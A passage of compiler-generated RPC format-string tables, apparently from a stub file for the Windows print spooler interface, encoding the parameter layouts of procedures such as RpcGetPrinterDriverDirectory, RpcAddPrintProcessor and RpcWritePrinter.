FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterDrivers */\n\n/* 668 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 670 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 674 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 676 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 678 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 680 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 682 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 684 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 686 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 688 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 690 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 692 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 694 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 696 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 698 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 700 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 702 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 704 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 706 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 708 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 710 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 712 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 714 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 716 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDrivers */\n\n/* 718 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 720 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 722 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 724 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 726 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 728 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 730 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 732 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 734 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 736 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 738 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 742 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 744 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 746 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriver */\n\n/* 748 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 750 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 754 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 756 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 758 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 760 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 762 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 764 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 766 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 768 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 770 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 772 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 774 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 778 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 780 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 782 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 784 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pEnvironment */\n\n/* 786 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 788 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 790 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 792 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 794 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 796 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriver */\n\n/* 798 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 800 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 802 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 804 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 806 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 808 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 810 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 812 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 814 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 816 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 818 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 820 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriverDirectory */\n\n/* 822 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 824 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 828 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 830 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 832 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 834 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 836 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 838 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 840 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 842 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 844 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 846 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 848 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 850 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 854 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 856 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 858 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 860 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 862 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 864 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 866 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 868 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 870 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDriverDirectory */\n\n/* 872 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 874 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 876 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 878 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 880 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 882 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 884 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 886 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 888 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 890 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 892 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 894 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterDriver */\n\n/* 896 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 898 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 902 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 904 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 906 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 908 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 910 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 914 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 916 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 918 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 928 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 930 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 932 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 934 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 936 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 938 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pDriverName */\n\n/* 940 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 942 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 944 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 946 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 948 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 950 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrintProcessor */\n\n/* 952 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 954 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 958 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 960 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 962 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 964 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 966 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 968 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 970 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 972 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 974 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 976 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 982 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 984 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 986 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 988 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 990 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 992 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 994 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pPathName */\n\n/* 996 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 998 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1000 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 1002 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1004 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1006 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 1008 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1010 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrintProcessors */\n\n/* 1014 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1016 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1020 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 1022 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1024 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1026 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1028 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1030 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1032 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1034 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1036 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1038 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1040 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 1046 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1048 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1050 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 1052 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1054 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1056 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1058 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1060 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1062 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorInfo */\n\n/* 1064 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1066 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1068 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 1070 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1072 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1074 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1076 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1078 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1080 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 1082 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1084 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1088 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1090 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1092 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrintProcessorDirectory */\n\n/* 1094 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1096 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1100 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1102 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1104 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1106 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1108 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1110 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1112 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1114 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1116 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1118 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1120 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1122 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 1126 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1128 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1130 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 1132 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1134 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1136 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1138 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1140 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrintProcessorDirectory */\n\n/* 1144 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 1146 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1148 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 1150 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1152 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1154 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1156 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1158 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1162 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1164 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcStartDocPrinter */\n\n/* 1168 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1170 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1174 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1176 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1178 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1180 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1182 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1184 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1186 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1188 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1190 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1192 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1198 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1200 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1202 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1204 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pDocInfoContainer */\n\n/* 1206 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1208 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1210 */\tNdrFcShort( 0x5de ),\t/* Type Offset=1502 */\n\n\t/* Parameter pJobId */\n\n/* 1212 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1214 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1216 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1218 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1220 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1222 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcStartPagePrinter */\n\n/* 1224 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1230 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1232 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1234 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1236 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1238 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1240 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1242 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1244 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 1246 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1248 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1256 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1260 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 1262 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1264 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1266 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcWritePrinter */\n\n/* 1268 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1270 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1274 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1276 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1278 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1280 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1282 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1286 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1288 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1290 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1294 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1300 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1302 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1304 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pBuf */\n\n/* 1306 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1308 */\tNdrFcShort( 